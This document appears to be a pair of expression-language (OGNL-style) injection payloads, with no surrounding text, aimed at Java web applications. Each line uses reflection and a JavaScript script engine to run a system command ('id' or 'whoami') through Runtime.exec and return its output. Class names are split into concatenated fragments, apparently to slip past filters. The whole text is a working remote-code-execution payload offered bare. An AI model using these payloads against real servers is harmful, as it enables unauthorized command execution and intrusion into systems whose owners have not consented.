aaaaaaaaaa${(#cl=@Thread@currentThread().getContextClassLoader()).getClass().getMethods()[19].invoke(#cl,null).getClass().getMethods()[5].invoke(#cl,\"javax\"+\".\"+\"script\"+\".\"+\"ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var p = \"+\"java\"+\".\"+\"lang\"+\".\"+\"Runtime\"+\".\"+\"getRuntime().exec('id');var sc = new \"+\"java\"+\".\"+\"util\"+\".\"+\"Scanner(\"+\"p\"+\".\"+\"getInputStream(),'GBK').useDelimiter('\\\\A');var result = \"+\"sc\"+\".\"+\"hasNext() ? \"+\"sc\"+\".\"+\"next() : '';\"+\"sc\"+\".\"+\"close();result;\")}bbbbbbb
aaaaaaaaaa${(#cl=@Thread@currentThread().getContextClassLoader()).getClass().getMethods()[19].invoke(#cl,null).getClass().getMethods()[5].invoke(#cl,\"javax\"+\".\"+\"script\"+\".\"+\"ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var p = \"+\"java\"+\".\"+\"lang\"+\".\"+\"Runtime\"+\".\"+\"getRuntime().exec('whoami');var sc = new \"+\"java\"+\".\"+\"util\"+\".\"+\"Scanner(\"+\"p\"+\".\"+\"getInputStream(),'GBK').useDelimiter('\\\\A');var result = \"+\"sc\"+\".\"+\"hasNext() ? \"+\"sc\"+\".\"+\"next() : '';\"+\"sc\"+\".\"+\"close();result;\")}bbbbbbb